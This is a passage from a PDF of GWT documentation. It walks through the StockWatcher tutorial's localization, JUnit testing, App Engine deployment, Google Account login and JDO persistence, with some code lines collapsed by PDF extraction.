5. Move the logic for determining the date format to the Messages interface. In the updateTable(StockPrice[] prices) method, replace the variable timestamp with a call to its lastUpdate method. Change:
135 / 469
private void updateTable(StockPrice[] prices) { for (int i = 0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); lastUpdatedLabel.setText(messages.lastUpdate(new Date())); }
3.4.3.
Localizing StockWatcher
At this point you have created two localized versions of StockWatcher's user interface. But how does GWT know which one to load at runtime? GWT uses client properties to produce customized JavaScript compilations of your GWT application using a mechanism called deferred binding. To pick the correct localized version of StockWatcher to serve at runtime, GWT evaluates the client property, locale.
136 / 469
2. Refresh StockWatcher in development mode. The English language version loads by default. 3. Load the German version. To the end of the URL, append &locale=de http://localhost:8888/StockWatcher.html?gwt.codesvr=127.0.0.1:9997&locale=de All the constants should display in German. 4. Enter a stock code with an invalid character. The error message should display in German. Notice, too, that the date and currency formats are localized.
5. Compile StockWatcher and open it in production mode. The web browser displays StockWatcher's default interface. 6. Test the German interface. Append the locale to the URL ?locale=de The web browser displays StockWatcher's German interface. 7. Look at the files generated. You should see files for twice as many permutations as you did before you created the German-language interface.
If you specify a client property (such as locale) in both a <meta> tag and the URL, the URL value takes precedence.
138 / 469
3.5.
JUnit Testing
At this point, you've created the initial implementation of the StockWatcher application and it seems pretty stable. As the code base evolves, how can you ensure that you don't break existing functionality? The solution is unit testing. Creating a battery of good unit test cases is an important part of ensuring the quality of your application over its lifecycle. To aid you with your testing efforts, GWT provides integration with the open-source JUnit testing framework. You'll be able to create units test that you can run in both development mode and production mode. In this section, you'll add a JUnit unit test to the StockWatcher project. 1. 2. 3. 4. Creating a JUnit test class for StockWatcher and the scripts to run it Running unit tests Writing a unit test Resolving problems identified with unit tests
3.5.1.
When you specified the -junit option, webAppCreator created all the files you need to begin developing JUnit tests. It generates a starter test class, ant targets to run the tests from the command line, and launch configuration files for Eclipse. Starting with GWT 2.0, the former command-line tool junitCreator has been combined into webAppCreator. In Eclipse, navigate down to the StockWatcherTest class by expanding the test/ directory. If you are adding JUnit testing to an existing application you will need add the test/ directory as a source folder within you Eclipse project and update your Build Path to include a reference to an existing JUnit library.
139 / 469
// (1)
// (2)
// (3)
140 / 469
Notes: (1) Like all GWT JUnit test cases, the StockWatcherTest class extends the GWTTestCase class in the com.google.gwt.junit.client package. You can create additional test cases by extending this class. (2) The StockWatcherTest class has an abstract method (getModuleName) that must return the name of the GWT module. For StockWatcher, that is com.google.gwt.sample.stockwatcher.StockWatcher. (3) The StockWatcherTest class is generated with one sample test casea tautological test, testSimple. This testSimple method uses one of the many assert* functions that it inherits from the JUnit Assert class, which is an ancestor of GWTTestCase. The assertTrue(boolean) function asserts that the boolean argument passed in evaluates to true. If not, the testSimple test will fail when run in JUnit.
3.5.2.
Before you start writing your own unit tests for StockWatcher, make sure the components of the test environment are in place. You can do that by running StockWatcherTest.java which will execute the starter test, testSimple. You can run JUnit tests four ways: from the command lineusing the scripts generated by junitCreator in Eclipseusing the Google Plugin for Eclipse in Eclipseusing the Eclipse launch configuration files generated by webAppCreator in manual test mode
Note: In order to run tests from the command-line, you will need to have JUnit installed on your system. If you just downloaded the StockWatcher project, you must first open build.xml and replace all references to /path/to/junit3.8.1.jar with the path to junit on your system. 1. In the command shell, browse to the StockWatcher directory. 2. Run the JUnit test in development mode. At the command line, enter ant test.dev 3. The test runs as Java bytecode in a JVM. The simpleTest executes without error.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 15.851 sec
4. Run the JUnit test in production mode. At the command line, enter ant test.prod 5. The test runs as compiled JavaScript. The simpleTest executes without error.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 37.042 sec
141 / 469
3.5.3.
In a real testing scenario, you would want to verify the behavior of as much of StockWatcher as possible. You could add a number of unit tests to the StockWatcherTest class. You would write each test in the form of a public method. If you had a large number of test cases, you could organize them by grouping them into different test classes. However, to learn the process of setting up JUnit tests in GWT, in this tutorial you'll write just one test and run it. 1. Write a JUnit test to verify that the constructor of the StockPrice class is correctly setting the new object's instance fields. To the StockWatcherTest class, add the testStockPriceCtor method as shown below.
142 / 469
/** * Verify that the instance fields in the StockPrice class are set correctly. */ public void testStockPriceCtor() { String symbol = "XYZ"; double price = 70.0; double change = 2.0; double changePercent = 100.0 * change / price; StockPrice sp = new StockPrice(symbol, price, change); assertNotNull(sp); assertEquals(symbol, sp.getSymbol()); assertEquals(price, sp.getPrice(), 0.001); assertEquals(change, sp.getChange(), 0.001); assertEquals(changePercent, sp.getChangePercent(), 0.001);
3.5.4.
To see what happens when a unit test fails, you'll reintroduce the arithmetic bug you fixed in the Build a Sample GWT Application tutorial. Originally, the percentage of change was not calculated correctly in the getChangePercent method. To make the unit test fail, you'll break this bit of code again. 1. Introduce a bug into StockWatcher. In StockPrice.java, make the change highlighted below.
public double getChangePercent() { return 10.0 * this.change / this.price; }
2. Run StockWatcherTest in development mode (either in Eclipse of from the command line). JUnit identifies the failed test case (testStockPriceCtor).
(Output if run in Eclipse.) ...and provides a full-stack trace for the exception that resultedan AssertionFailedError. (Output if run from the command line.)
143 / 469
Testsuite: com.google.gwt.sample.stockwatcher.client.StockWatcherTest Tests run: 2, Failures: 1, Errors: 0, Time elapsed: 16.443 sec Testcase: testSimple took 16.238 sec Testcase: testStockPriceCtor took 0.155 sec FAILED Remote test failed at 172.29.212.75 / Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 expected=2.857142857142857 actual=0.2857142857142857 delta=0.0010 junit.framework.AssertionFailedError: Remote test failed at 172.29.212.75 / Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 expected=2.857142857142857 actual=0.2857142857142857 delta=0.0010 at com.google.gwt.sample.stockwatcher.client.StockWatcherTest.testStockPriceCtor(StockWatcher Test.java:38) at com.google.gwt.sample.stockwatcher.client.__StockWatcherTest_unitTestImpl.doRunTest(__Stoc kWatcherTest_unitTestImpl.java:7) ...
Note: When running from the command line, complete test reports (including stack traces) will be located in the reports/htmlunit.dev/ directory for development mode tests and reports/htmlunit.prod/ directory for production mode tests. 3. Correct the error. 4. Rerun the tests. Both the JUnit tests should complete successfully again.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 2, Failures: 0, Errors: 0, Time elapsed: 16.114 sec
Best Practices: Because there can be subtle differences between the way GWT applications work when compiled to JavaScript and when running as Java bytecode, make sure you run your unit tests in both development and production modes as you develop your application. Be aware, though, that if your test cases fail when running in production mode, you won't get the full stack trace that you see in development mode.
144 / 469
3.6.
At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. In this section, you'll deploy this application on Google App Engine. Also, you'll learn about some of the App Engine service APIs and use them to personalize the StockWatcher application so that users can log into their Google Account and retrieve their list of stocks. 1. Get started with App Engine 2. Deploy the application to App Engine 3. Personalize the application with the User Service 4. Store data in the datastore Note: For a broader guide to deploying, see Deploy a GWT Application. This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. It also uses techniques covered in the GWT RPC tutorial. If you have not completed these tutorials and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point, as instructed below.
3.6.1.
Set up a project
Set up a project (with Eclipse)
If you initially created your StockWatcher Eclipse project using the Google Plugin for Eclipse with both GWT and Google App Engine enabled, your project is already ready to run on App Engine. If not: 1. If you haven't yet, install the Google Plugin for Eclipse with both GWT and App Engine SDK and restart Eclipse. 2. Complete the Build a Sample GWT Application tutorial, making sure to create a project with both GWT and Google App Engine enabled. Alternatively, if you would like to skip the Build a Sample GWT Application tutorial, then download, unzip and import the StockWatcher Eclipse project. To import the project: 1. In the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. At "Select root directory", browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. 4. Add the Google Web Toolkit and App Engine functionality to your newly created project (right-click on your project > Google > Web Toolkit / App Engine Settings...). This will add Google Plugin functionality to your project as well as copy required libraries to your project WEB-INF/lib directory automatically.
145 / 469
Substitute your App Engine application ID on the second line. Read more about appengine-web.xml. 4. As we will be using Java Data Objects (JDO) later for storing data, create a file StockWatcher/src/METAINF/jdoconfig.xml with these contents:
<?xml version="1.0" encoding="utf-8"?> <jdoconfig xmlns="http://java.sun.com/xml/ns/jdo/jdoconfig" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://java.sun.com/xml/ns/jdo/jdoconfig"> <persistence-manager-factory name="transactions-optional"> <property name="javax.jdo.PersistenceManagerFactoryClass" value="org.datanucleus.store.appengine.jdo.DatastoreJDOPersistenceManagerFactory"/> <property name="javax.jdo.option.ConnectionURL" value="appengine"/> <property name="javax.jdo.option.NontransactionalRead" value="true"/> <property name="javax.jdo.option.NontransactionalWrite" value="true"/> <property name="javax.jdo.option.RetainValues" value="true"/> <property name="datanucleus.appengine.autoCreateDatastoreTxns" value="true"/> </persistence-manager-factory> </jdoconfig>
You will refrence this configuration later by its name "transactions-optional". Read more about jdoconfig.xml. 5. The GWT ant build file needs to be modified to support DataNucleus JDO compilation and use of the App Engine development server. Edit StockWatcher/build.xml and add the following: 1. Add a property for the App Engine SDK directory.
<!-- Configure path to GWT SDK --> <property name="gwt.sdk" location="Path to GWT" /> <!-- Configure path to App Engine SDK --> <property name="appengine.sdk" location="Path to App Engine SDK" />
146 / 469
3. Modify the "libs" ant target so that the required jar files are copied to WEB-INF/lib.
<target name="libs" description="Copy libs to WEB-INF/lib"> <mkdir dir="war/WEB-INF/lib" /> <copy todir="war/WEB-INF/lib" file="${gwt.sdk}/gwt-servlet.jar" /> <!-- Add any additional server libs that need to be copied --> <copy todir="war/WEB-INF/lib" flatten="true"> <fileset dir="${appengine.sdk}/lib/user" includes="**/*.jar"/> </copy> </target>
4. JDO is implemented with DataNucleus Java byte-code enhancement. Modify the "javac" ant target to add byte-code enhancement.
<target name="javac" depends="libs" description="Compile java source"> <mkdir dir="war/WEB-INF/classes"/> <javac srcdir="src" includes="**" encoding="utf-8" destdir="war/WEB-INF/classes" source="1.5" target="1.5" nowarn="true" debug="true" debuglevel="lines,vars,source"> <classpath refid="project.class.path"/> </javac> <copy todir="war/WEB-INF/classes"> <fileset dir="src" excludes="**/*.java"/> </copy> <taskdef name="datanucleusenhancer" classpathref="tools.class.path" classname="org.datanucleus.enhancer.tools.EnhancerTask" /> <datanucleusenhancer classpathref="tools.class.path" failonerror="true"> <fileset dir="war/WEB-INF/classes" includes="**/*.class" /> </datanucleusenhancer> </target>
5. Modify the "devmode" ant target to use the App Engine development server instead of the servlet container which comes with GWT.
<target name="devmode" depends="javac" description="Run development mode""> <java failonerror="true" fork="true" classname="com.google.gwt.dev.DevMode""> <classpath> <pathelement location="src"/> <path refid="project.class.path"/> <path refid="tools.class.path"/> </classpath> <jvmarg value="-Xmx256M"/> <arg value="-startupUrl"/> <arg value="StockWatcher.html"/> <!-- Additional arguments like -style PRETTY or -logLevel DEBUG --> <arg value="-server"/> <arg value="com.google.appengine.tools.development.gwt.AppEngineLauncher"/> <arg value="com.google.gwt.sample.stockwatcher.StockWatcher"/> </java> </target>
Test locally
We will run the application in GWT development mode to verify the project was set up successfully. However, instead of using the servlet container which comes with GWT, the application will run in the App Engine development server, the servlet container which comes with the App Engine SDK. What's the difference? The App Engine development server is configured to mimic the App Engine production environment.
147 / 469
3.6.2.
Now that we've verified the StockWatcher project is running locally in GWT development mode and with the App Engine development server, we can run the application on App Engine.
Tip: Add the ant bin directory to your environment PATH to avoid having to specify the full path to ant. 3. appcfg is a command-line tool which comes with the App Engine SDKs. Upload the application by executing:
appcfg.sh update war
From the Windows command prompt, the command is appcfg update war. The first parameter is the action to perform. The second parameter is the directory with the update, which in this case is a relative directory containing the static files and output from the GWT compiler. Enter your Google Accounts email and password when prompted. Tip: Add the App Engine SDK bin directory to your environment PATH to avoid having to specify the full path to appcfg.sh.
148 / 469
3.6.3.
Overview
Now that the StockWatcher is deployed on App Engine, we can start using some of the available services to enrich the application. We'll start by persisting stock quote listings on a per user basis. This is possible due to the datastore service, which allows us to save application data, as well as the User Service, which allows us to have users login and save stock quote listings for each user. For persistence, we'll use the Java Data Objects (JDO) interface provided by the App Engine SDK. To implement login functionality we'll use the User Serivce. With this service in place, any user with a Google Account will be able to login using their account to access the StockWatcher application. In this section, you'll use the App Engine User API to add user login to the application. The App Engine User Service is very easy to use. First, you need to instantiate the UserService class, as shown in the code snippet below:
UserService userService = UserServiceFactory.getUserService();
Next, you need to get the current user who is accessing the StockWatcher application:
User user = userService.getCurrentUser();
The UserService returns an instantiated User object if the current user who is accessing the application is logged into their Google Account. The User object contains useful information such as the email address associated with the account, as well as the account nickname. If the person accessing the application is not logged into their account, or doesn't have a Google Account, the returned User object will be null. In this case we have a number of options available to us in how we want to handle the situation, but for the purposes of the StockWatcher application, we will point the user to a login URL where they will be able to log into their Google Account. The User API offers an easy way to generate the login URL. Simply calling the UserService createLoginURL(String requestUri) method, which gives you the redirect login URL to send the user to the Google Account login screen. Once they log in, the App Engine container will know where to redirect the user based on the requestUri that you provide when making the createLoginURL() call.
149 / 469
LoginInfo.java:
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class LoginInfo implements Serializable { private private private private private boolean loggedIn = false; String loginUrl; String logoutUrl; String emailAddress; String nickname;
public boolean isLoggedIn() { return loggedIn; } public void setLoggedIn(boolean loggedIn) { this.loggedIn = loggedIn; } public String getLoginUrl() { return loginUrl; } public void setLoginUrl(String loginUrl) { this.loginUrl = loginUrl; } public String getLogoutUrl() { return logoutUrl; } public void setLogoutUrl(String logoutUrl) { this.logoutUrl = logoutUrl; } public String getEmailAddress() { return emailAddress; } public void setEmailAddress(String emailAddress) { this.emailAddress = emailAddress; } public String getNickname() { return nickname; } public void setNickname(String nickname) { this.nickname = nickname; }
LoginInfo is serializable since it is the return type of an RPC method. Next, create the LoginService and LoginServiceAsync interfaces.
LoginService.java:
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("login") public interface LoginService extends RemoteService { public LoginInfo login(String requestUri); }
150 / 469
LoginServiceAsync.java:
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface LoginServiceAsync { public void login(String requestUri, AsyncCallback<LoginInfo> async); }
LoginServiceImpl.java:
package com.google.gwt.sample.stockwatcher.server; import import import import import import com.google.appengine.api.users.User; com.google.appengine.api.users.UserService; com.google.appengine.api.users.UserServiceFactory; com.google.gwt.sample.stockwatcher.client.LoginInfo; com.google.gwt.sample.stockwatcher.client.LoginService; com.google.gwt.user.server.rpc.RemoteServiceServlet;
public class LoginServiceImpl extends RemoteServiceServlet implements LoginService { public LoginInfo login(String requestUri) { UserService userService = UserServiceFactory.getUserService(); User user = userService.getCurrentUser(); LoginInfo loginInfo = new LoginInfo(); if (user != null) { loginInfo.setLoggedIn(true); loginInfo.setEmailAddress(user.getEmail()); loginInfo.setNickname(user.getNickname()); loginInfo.setLogoutUrl(userService.createLogoutURL(requestUri)); } else { loginInfo.setLoggedIn(false); loginInfo.setLoginUrl(userService.createLoginURL(requestUri)); } return loginInfo;
} }
Lastly, configure the servlet in your web.xml file. The mapping is composed of the rename-to attribute in the GWT module definition (stockwatcher) and the RemoteServiceRelativePath annotation(login). Also, because the greetServlet is not needed for this application, its configuration can be deleted.
151 / 469
web.xml:
<?xml version="1.0" encoding="UTF-8"?> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>loginService</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.LoginServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>loginService</servlet-name> <url-pattern>/stockwatcher/login</url-pattern> </servlet-mapping> </web-app>
StockWatcher.java:
public void onModuleLoad() { loadStockWatcher(); } private void loadStockWatcher() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); ... }
Now that you've refactored the StockWatcher loading logic to a callable method, we can make the login RPC service call in the onModuleLoad() method and call the loadStockWatcher() method when login passes. However, if the user isn't logged in, you'll need to give them some kind of indication that they need to log in to proceed. For this, it makes sense to use a Login panel along with accompanying label and button to instruct the user to proceed to login. Considering all of these, you should add something similar to the following to your StockWatcher entry point class:
152 / 469
StockWatcher.java
import com.google.gwt.user.client.ui.Anchor; ... private LoginInfo loginInfo = null; private VerticalPanel loginPanel = new VerticalPanel(); private Label loginLabel = new Label("Please sign in to your Google Account to access the StockWatcher application."); private Anchor signInLink = new Anchor("Sign In"); public void onModuleLoad() { // Check login status using login service. LoginServiceAsync loginService = GWT.create(LoginService.class); loginService.login(GWT.getHostPageBaseURL(), new AsyncCallback<LoginInfo>() { public void onFailure(Throwable error) { } public void onSuccess(LoginInfo result) { loginInfo = result; if(loginInfo.isLoggedIn()) { loadStockWatcher(); } else { loadLogin(); } } }); } private void loadLogin() { // Assemble login panel. signInLink.setHref(loginInfo.getLoginUrl()); loginPanel.add(loginLabel); loginPanel.add(signInLink); RootPanel.get("stockList").add(loginPanel); }
Another important point about login functionality is the ability to sign out of the application. This is something you should add to the StockWatcher application as well. Fortunately, the User Service provides us with a logout URL through a similar call as the createLoginURL(String requestUri) method. We can add this to the StockWatcher sample application by adding the following snippets:
StockWatcher.java
private Anchor signInLink = new Anchor("Sign In"); private Anchor signOutLink = new Anchor("Sign Out"); ... private void loadStockWatcher() { // Set up sign out hyperlink. signOutLink.setHref(loginInfo.getLogoutUrl()); // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); ... // Assemble Main panel. mainPanel.add(signOutLink); mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel);
153 / 469
3.6.4.
Overview
The datastore service available to the App Engine Java runtime is the same service available to the Python runtime. To access this service in Java, you may use the low-level datastore API, Java Data Objects (JDO), or Java Persistence API (JPA). For this sample we will use JDO.
StockService.java
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.RemoteService; import com.google.gwt.user.client.rpc.RemoteServiceRelativePath; @RemoteServiceRelativePath("stock") public interface StockService extends RemoteService { public void addStock(String symbol) throws NotLoggedInException; public void removeStock(String symbol) throws NotLoggedInException; public String[] getStocks() throws NotLoggedInException; }
StockServiceAsync.java
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface StockServiceAsync { public void addStock(String symbol, AsyncCallback<Void> async); public void removeStock(String symbol, AsyncCallback<Void> async); public void getStocks(AsyncCallback<String[]> async); }
154 / 469
StockWatcher.java
public class StockWatcher implements EntryPoint { private static final int REFRESH_INTERVAL = 5000; // ms private VerticalPanel mainPanel = new VerticalPanel(); private FlexTable stocksFlexTable = new FlexTable(); private HorizontalPanel addPanel = new HorizontalPanel(); private TextBox newSymbolTextBox = new TextBox(); private Button addStockButton = new Button("Add"); private Label lastUpdatedLabel = new Label(); private ArrayList stocks = new ArrayList(); private LoginInfo loginInfo = null; private VerticalPanel loginPanel = new VerticalPanel(); private Label loginLabel = new Label("Please sign in to your Google Account to access the StockWatcher application."); private Anchor signInLink = new Anchor("Sign In"); private final StockServiceAsync stockService = GWT.create(StockService.class);
A checked exception will indicate that the user is not logged in yet. Such a scenario is possible since a RPC call can be received by the stock service even if there is no current user. The class is serializable so that it may be returned by the RPC call via the AsyncCallback onFailure(Throwable error) method. You could also implement security with a servlet filter or Spring security.
NotLoggedInException.java
package com.google.gwt.sample.stockwatcher.client; import java.io.Serializable; public class NotLoggedInException extends Exception implements Serializable { public NotLoggedInException() { super(); } public NotLoggedInException(String message) { super(message); } }
The Stock class is what is persisted with JDO. The specifics of how it is persisted are dictated by the JDO annotations. In particular: The PersistenceCapable annotation tells the DataNucleus byte-code enhancer to process this class. The PrimaryKey annotation designates an id attribute for storing its primary key. In this class, every attribute is persisted. However you can designate attributes as not being persisted with the NotPersistent annotation. The User attribute is a special App Engine type which can allow you to identify users across email address changes.
155 / 469
Stock.java
package com.google.gwt.sample.stockwatcher.server; import import import import import import import java.util.Date; javax.jdo.annotations.IdGeneratorStrategy; javax.jdo.annotations.IdentityType; javax.jdo.annotations.PersistenceCapable; javax.jdo.annotations.Persistent; javax.jdo.annotations.PrimaryKey; com.google.appengine.api.users.User;
@PersistenceCapable(identityType = IdentityType.APPLICATION) public class Stock { @PrimaryKey @Persistent(valueStrategy = IdGeneratorStrategy.IDENTITY) private Long id; @Persistent private User user; @Persistent private String symbol; @Persistent private Date createDate; public Stock() { this.createDate = new Date(); } public Stock(User user, String symbol) { this(); this.user = user; this.symbol = symbol; } public Long getId() { return this.id; } public User getUser() { return this.user; } public String getSymbol() { return this.symbol; } public Date getCreateDate() { return this.createDate; } public void setUser(User user) { this.user = user; } public void setSymbol(String symbol) { this.symbol = symbol; } }
This class implements the stock service and includes calls to the JDO API for persisting stock data. Things to notice: The messages logged by the logger are viewable when you inspect your application in the App Engine Administration Console. The PersistenceManagerFactory singleton is created from the properties named "transactions-optional" in jdoconfig.xml above. The checkedLoggedIn method is called whenever we want to make sure a user is logged in. The getUser method uses the UserService.
156 / 469
StockServiceImpl.java
package com.google.gwt.sample.stockwatcher.server; import import import import import import import import import import import import import import java.util.ArrayList; java.util.List; java.util.logging.Level; java.util.logging.Logger; javax.jdo.JDOHelper; javax.jdo.PersistenceManager; javax.jdo.PersistenceManagerFactory; javax.jdo.Query; com.google.appengine.api.users.User; com.google.appengine.api.users.UserService; com.google.appengine.api.users.UserServiceFactory; com.google.gwt.sample.stockwatcher.client.NotLoggedInException; com.google.gwt.sample.stockwatcher.client.StockService; com.google.gwt.user.server.rpc.RemoteServiceServlet;
public class StockServiceImpl extends RemoteServiceServlet implements StockService { private static final Logger LOG = Logger.getLogger(StockServiceImpl.class.getName()); private static final PersistenceManagerFactory PMF = JDOHelper.getPersistenceManagerFactory("transactions-optional"); public void addStock(String symbol) throws NotLoggedInException { checkLoggedIn(); PersistenceManager pm = getPersistenceManager(); try { pm.makePersistent(new Stock(getUser(), symbol)); } finally { pm.close(); } } public void removeStock(String symbol) throws NotLoggedInException { checkLoggedIn(); PersistenceManager pm = getPersistenceManager(); try { long deleteCount = 0; Query q = pm.newQuery(Stock.class, "user == u"); q.declareParameters("com.google.appengine.api.users.User u"); List<Stock> stocks = (List<Stock>) q.execute(getUser()); for (Stock stock : stocks) { if (symbol.equals(stock.getSymbol())) { deleteCount++; pm.deletePersistent(stock); } } if (deleteCount != 1) { LOG.log(Level.WARNING, "removeStock deleted "+deleteCount+" Stocks"); } } finally { pm.close(); } } public String[] getStocks() throws NotLoggedInException { checkLoggedIn(); PersistenceManager pm = getPersistenceManager(); List<String> symbols = new ArrayList<String>(); try { Query q = pm.newQuery(Stock.class, "user == u"); q.declareParameters("com.google.appengine.api.users.User u"); q.setOrdering("createDate"); List<Stock> stocks = (List<Stock>) q.execute(getUser()); for (Stock stock : stocks) { symbols.add(stock.getSymbol()); } } finally { pm.close();
157 / 469
} return (String[]) symbols.toArray(new String[0]); } private void checkLoggedIn() throws NotLoggedInException { if (getUser() == null) { throw new NotLoggedInException("Not logged in."); } } private User getUser() { UserService userService = UserServiceFactory.getUserService(); return userService.getCurrentUser(); } private PersistenceManager getPersistenceManager() { return PMF.getPersistenceManager(); } }
Now that the GWT RPC service is implemented, we'll make sure the servlet container knows about it. The mapping /stockwatcher/stock is composed of the rename-to attribute in the GWT module definition (stockwatcher) and the RemoteServiceRelativePath annotation (stock).
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>loginService</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.LoginServiceImpl</servlet-class> </servlet> <servlet> <servlet-name>stockService</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.StockServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>loginService</servlet-name> <url-pattern>/stockwatcher/login</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>stockService</servlet-name> <url-pattern>/stockwatcher/stock</url-pattern> </servlet-mapping> </web-app>
158 / 469
private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9a-zA-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); newSymbolTextBox.selectAll(); return; } newSymbolTextBox.setText(""); // Don't add the stock if it's already in the table. if (stocks.contains(symbol)) return; displayStock(symbol); } private void displayStock(final String symbol) { // Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.setWidget(row, 2, new Label()); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericCol umn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericCol umn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColu mn"); // Add a button to remove this stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addStyleDependentName("remove"); removeStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex + 1); } }); stocksFlexTable.setWidget(row, 3, removeStockButton); // Get the stock price. refreshWatchList(); }
After the stock table is set up is an appropriate time to load the stocks.
private void loadStockWatcher() { ... stocksFlexTable.setCellPadding(5); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 3, "watchListRemoveColumn"); loadStocks(); ... }
The loadStocks() method calls the StockService defined earlier. The RPC returns an array of stock symbols, which are displayed individually using the method displayStock(String symbol).
159 / 469
private void loadStocks() { stockService.getStocks(new AsyncCallback<String[]>() { public void onFailure(Throwable error) { } public void onSuccess(String[] symbols) { displayStocks(symbols); } }); } private void displayStocks(String[] symbols) { for (String symbol : symbols) { displayStock(symbol); } }
Adding stocks
Instead of just displaying stocks when they are added, we will call the StockService to save the new stock symbol to the datastore.
private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9a-zA-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); newSymbolTextBox.selectAll(); return; } newSymbolTextBox.setText(""); // Don't add the stock if it's already in the table. if (stocks.contains(symbol)) return; displayStock(symbol); addStock(symbol); } private void addStock(final String symbol) { stockService.addStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { } public void onSuccess(Void ignore) { displayStock(symbol); } }); } private void displayStock(final String symbol) { // Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); ... }
Removing stocks
And instead of simply removing stocks from display, we will call the StockService to remove the stock symbol from the datastore.
160 / 469
private void displayStock(final String symbol) { ... // Add a button to remove this stock from the table. Button removeStock = new Button("x"); removeStock.addStyleDependentName("remove"); removeStock.addClickHandler(new ClickHandler(){ public void onClick(ClickEvent event) { removeStock(symbol); } }); stocksFlexTable.setWidget(row, 3, removeStock); // Get the stock price. refreshWatchList(); } private void removeStock(final String symbol) { stockService.removeStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { } public void onSuccess(Void ignore) { undisplayStock(symbol); } }); } private void undisplayStock(String symbol) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex+1); }
Error handling
When one of the RPC calls results in an error, we want to display the message to the user. Furthermore, recall that the StockService throws a NotLoggedInException if for some reason the user is no longer logged in to his Google Account:
private void checkLoggedIn() throws NotLoggedInException { if (getUser() == null) { throw new NotLoggedInException("Not logged in."); } }
If we receive this error, we will redirect the user to the logout URL. Here's a helper method to accomplish these two error handling requirements.
private void handleError(Throwable error) { Window.alert(error.getMessage()); if (error instanceof NotLoggedInException) { Window.Location.replace(loginInfo.getLogoutUrl()); } }
161 / 469
stockService.addStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { handleError(error); } ... });
stockService.removeStock(symbol, new AsyncCallback<Void>() { public void onFailure(Throwable error) { handleError(error); } ... });
Further exercises
Users can now sign in to Google Account and manage their own stock lists in the StockWatcher application running on App Engine. Here are some suggested enhancements you can try as exercises: Loading the stock list has a noticeable delay. Add a UI element to indicate that the stock list is loading. Add more attributes to the Stock class. What happens to the data which was saved before these attributes were added? The StockService does not detect when one user has signed out and another user has signed in. How would you modify the application to handle this edge case?
162 / 469
4.
4.1.
Documentation
Organize Projects
